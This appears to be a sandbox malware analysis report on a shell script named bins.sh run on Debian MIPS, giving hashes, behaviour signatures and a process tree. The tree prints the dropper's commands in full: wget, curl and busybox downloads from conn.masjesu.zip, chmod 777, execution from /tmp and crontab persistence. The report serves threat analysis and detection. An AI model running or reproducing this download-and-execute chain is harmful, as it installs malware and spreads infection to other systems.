Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    23-11-2024 22:26

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    d5c5d061c5471db486b0d427d74621e8

  • SHA1

    14a8cd7d50cfb2d46c090c57d70e2d2d7c7fe4ba

  • SHA256

    e5d52b1198eabbd3838ed480ae2c5dbc3e0fc0324f571acef8ca05b010c1868f

  • SHA512

    c22dcb8405e7b8bd168bcca162db49a29b0c4972dfdba8a0b1cab8d92ab55c6a5c63ab6682996a30f5dee5aad803c80f1e6e8930cc114c7859a17f413abb7d64

  • SSDEEP

    96:Ys1sVs9UttaUYMLlFDeCeaeY9pPrH9PjTLn7zcLaUaYaKRZMq9q9qLQ1Mgcd+u9T:hi6zrY9ppAnGzzrY9p7

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1904) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 28 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:744
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:750
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:755
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:771
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:773
        • /bin/chmod
          chmod 777 pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • File and Directory Permissions Modification
          PID:774
        • /tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          ./pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Executes dropped EXE
          PID:775
        • /bin/rm
          rm pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
            PID:777
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:778
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:779
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:791
          • /bin/chmod
            chmod 777 mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • File and Directory Permissions Modification
            PID:795
          • /tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            ./mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • Executes dropped EXE
            PID:797
          • /bin/rm
            rm mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
              PID:799
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:801
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:815
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:829
            • /bin/chmod
              chmod 777 dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • File and Directory Permissions Modification
              PID:835
            • /tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              ./dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • Executes dropped EXE
              PID:836
            • /bin/rm
              rm dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
                PID:838
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:839
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:840
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:846
              • /bin/chmod
                chmod 777 j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • File and Directory Permissions Modification
                PID:850
              • /tmp/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                ./j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:852
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:854
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:855
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:858
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:859
                    • /bin/rm
                      rm j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                      2⤵
                        PID:870
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                        2⤵
                        • System Network Configuration Discovery
                        PID:954
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                        2⤵
                        • System Network Configuration Discovery
                        PID:974
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                        2⤵
                        • System Network Configuration Discovery
                        PID:978
                      • /bin/chmod
                        chmod 777 xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                        2⤵
                        • File and Directory Permissions Modification
                        PID:979
                      • /tmp/xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                        ./xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                        2⤵
                          PID:982
                        • /bin/rm
                          rm xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                          2⤵
                            PID:984
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                            2⤵
                            • System Network Configuration Discovery
                            PID:986
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                            2⤵
                            • System Network Configuration Discovery
                            PID:987
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:989
                          • /bin/chmod
                            chmod 777 IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                            2⤵
                            • File and Directory Permissions Modification
                            PID:990
                          • /tmp/IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                            ./IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                            2⤵
                            • Executes dropped EXE
                            PID:991
                          • /bin/rm
                            rm IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                            2⤵
                              PID:993
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/OKaenwebmvdaG8d5lSH6YGTzhsBUew3aPM
                              2⤵
                              • System Network Configuration Discovery
                              PID:994
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/OKaenwebmvdaG8d5lSH6YGTzhsBUew3aPM
                              2⤵
                              • System Network Configuration Discovery
                              PID:995
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/OKaenwebmvdaG8d5lSH6YGTzhsBUew3aPM
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:997
                            • /bin/chmod
                              chmod 777 OKaenwebmvdaG8d5lSH6YGTzhsBUew3aPM
                              2⤵
                              • File and Directory Permissions Modification
                              PID:998
                            • /tmp/OKaenwebmvdaG8d5lSH6YGTzhsBUew3aPM
                              ./OKaenwebmvdaG8d5lSH6YGTzhsBUew3aPM
                              2⤵
                              • Executes dropped EXE
                              PID:999
                            • /bin/rm
                              rm OKaenwebmvdaG8d5lSH6YGTzhsBUew3aPM
                              2⤵
                                PID:1001
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/wzQaICTtaXfOUNsOmi0GeCpbEfLyiFlIen
                                2⤵
                                • System Network Configuration Discovery
                                PID:1002
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/wzQaICTtaXfOUNsOmi0GeCpbEfLyiFlIen
                                2⤵
                                • System Network Configuration Discovery
                                PID:1003
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/wzQaICTtaXfOUNsOmi0GeCpbEfLyiFlIen
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:1005
                              • /bin/chmod
                                chmod 777 wzQaICTtaXfOUNsOmi0GeCpbEfLyiFlIen
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1006
                              • /tmp/wzQaICTtaXfOUNsOmi0GeCpbEfLyiFlIen
                                ./wzQaICTtaXfOUNsOmi0GeCpbEfLyiFlIen
                                2⤵
                                • Executes dropped EXE
                                PID:1007
                              • /bin/rm
                                rm wzQaICTtaXfOUNsOmi0GeCpbEfLyiFlIen
                                2⤵
                                  PID:1009
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/GF1VEefF0CnNaQjdMU6clWmVsuKIlANYI1
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:1010
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/GF1VEefF0CnNaQjdMU6clWmVsuKIlANYI1
                                  2⤵
                                  • Reads runtime system information
                                  • System Network Configuration Discovery
                                  PID:1011
                                • /bin/busybox
                                  /bin/busybox wget http://conn.masjesu.zip/bins/GF1VEefF0CnNaQjdMU6clWmVsuKIlANYI1
                                  2⤵
                                  • System Network Configuration Discovery
                                  • Writes file to tmp directory
                                  PID:1013
                                • /bin/chmod
                                  chmod 777 GF1VEefF0CnNaQjdMU6clWmVsuKIlANYI1
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:1014
                                • /tmp/GF1VEefF0CnNaQjdMU6clWmVsuKIlANYI1
                                  ./GF1VEefF0CnNaQjdMU6clWmVsuKIlANYI1
                                  2⤵
                                  • Executes dropped EXE
                                  PID:1015
                                • /bin/rm
                                  rm GF1VEefF0CnNaQjdMU6clWmVsuKIlANYI1
                                  2⤵
                                    PID:1017
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/tbqclcXqHZUmwKTB6inRYHxIppjpAdK806
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:1018

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/GF1VEefF0CnNaQjdMU6clWmVsuKIlANYI1

                                  Filesize

                                  111KB

                                  MD5

                                  701e7a55a4f3650f5feee92a9860e5fc

                                  SHA1

                                  6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                  SHA256

                                  ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                  SHA512

                                  7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                • /tmp/IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D

                                  Filesize

                                  112KB

                                  MD5

                                  05d7857dcead18bbd86d2935f591873c

                                  SHA1

                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                  SHA256

                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                  SHA512

                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                • /tmp/OKaenwebmvdaG8d5lSH6YGTzhsBUew3aPM

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc

                                  Filesize

                                  141KB

                                  MD5

                                  3ca8decdb1e52c423c521bfff02ac200

                                  SHA1

                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                  SHA256

                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                  SHA512

                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                • /tmp/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

                                  Filesize

                                  98KB

                                  MD5

                                  5141342d0df8699fa32a6b066a0c592e

                                  SHA1

                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                  SHA256

                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                  SHA512

                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                • /tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /tmp/wzQaICTtaXfOUNsOmi0GeCpbEfLyiFlIen

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /var/spool/cron/crontabs/tmp.WBCS9n

                                  Filesize

                                  210B

                                  MD5

                                  0cae4914e6ae9695d0bc28b5c4b49cbd

                                  SHA1

                                  08e4c718f6e3c0122afd56ee6dc732fc0b9314f2

                                  SHA256

                                  1992964627c63769e919e2b756fae50bd04815396d6d7825c8b88414b846274d

                                  SHA512

                                  4229300d081dd4f2f67a2f76d9e7f0ed307a2619625fe406702226b5822973fd94c546c9448872166cc7f8c3bbdf13105f9994aea4370a7e3a8b72208e91c844